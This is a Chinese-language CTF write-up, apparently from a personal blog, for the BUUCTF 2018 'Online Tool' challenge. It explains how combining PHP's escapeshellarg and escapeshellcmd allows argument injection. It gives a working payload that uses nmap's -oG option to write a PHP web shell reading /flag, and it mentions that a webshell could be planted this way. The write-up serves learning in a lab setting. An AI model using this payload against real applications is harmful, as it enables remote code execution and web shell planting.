本文同时发布到我的个人blog:
[CTF]WriteUp第3篇https://lingye.space/index.php/2024/08/30/ctfwriteup%e7%ac%ac3%e7%af%87/
[BUUCTF 2018]Online Tool
思路
RCE指的是远程代码执行漏洞
这题看来关键是构造$host
,想办法输出flag
代码中有两个转义函数escapeshellarg
和escapeshellcmd
,我们先弄懂这两个函数的作用
参考文献:escapeshellarg参数绕过和注入的问题_escapeshellcmd-CSDN博客
escapeshellarg(string $arg): string
-param:
$arg: 要转义的命令
-return:
转义后的字符串
转义的方式为:
escapeshellarg()
会给一个字符串加上单引号,并对任何现有的单引号进行转义,这样就可以直接将字符串传递给 shell 函数,使其被视为一个安全的单引号参数。此函数应用于对来自用户输入的 shell 函数的单个参数进行转义。shell 函数包括exec()
、system()
和反引号运算符。
在 Windows 上,escapeshellarg()
会用空格替换百分号、感叹号(延迟变量替换)和双引号,并在字符串周围添加双引号。此外,对于连续的反斜杠(\)序列,会用一个额外的反斜杠进行转义。
<?php
echo escapeshellarg('Hello');
// 输出值为:'Hello'
echo escapeshellarg('Hello\'');
// 输出值为:'Hello'\'''(在命令行使用 echo 'Hello'\''',只会输出 Hello')
escapeshellcmd(string $arg): string
-param:
$arg: 要转义的命令
-return:
转义后的字符串
转义的方式为:
escapeshellcmd()
会将字符串中的任何字符转义,这些字符可能被用来欺骗 shell 命令执行任意命令。该函数应在将数据传递给exec()
或system()
函数或反引号运算符之前使用,以确保来自用户输入的数据被转义。
以下字符前缀以反斜杠(\):&
、|
、*
、?
、~
、<>
、^
、()
、{}
、$
、\
、\,
、\x0A
和\xFF
。如果'
和"
未成对出现,则仅对其进行转义。在 Windows 上,所有这些字符加上%
和!
前缀以一个叹号(!
)。
解题
payload构造:参考文献:[BUUCTF 2018]Online Tool - 春告鳥 - 博客园 (cnblogs.com)
例:
<?php
$host = '172.17.0.2\' -v -d a=1';
// -> 172.17.0.2' -v -d a=1
$host = escapeshellarg($host);
// -> '172.17.0.2'\'' -v -d a=1'
$host = escapeshellcmd($host);
// -> '172.17.0.2'\\'' -v -d a=1\'
echo `curl `.$host;
// 传入的参数是:172.17.0.2' -v -d a=1
// 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
// 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
// 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
同时nmap
有一个-oG
参数,可以控制输出:
OUTPUT:
-oN/-oX/-oS/-oG <file>: Output scan results in normal, XML, s|<rIpt kIddi3,
and Grepable format, respectively, to the given filename.
即构造如下即可,其实到了这一步也可以传马:
?host=' <?php echo `cat /flag`;?> -oG test.php '
得到
注意
``
是PHP里面的执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回。使用反引号运算符`
的效果与函数 shell_exec()
相同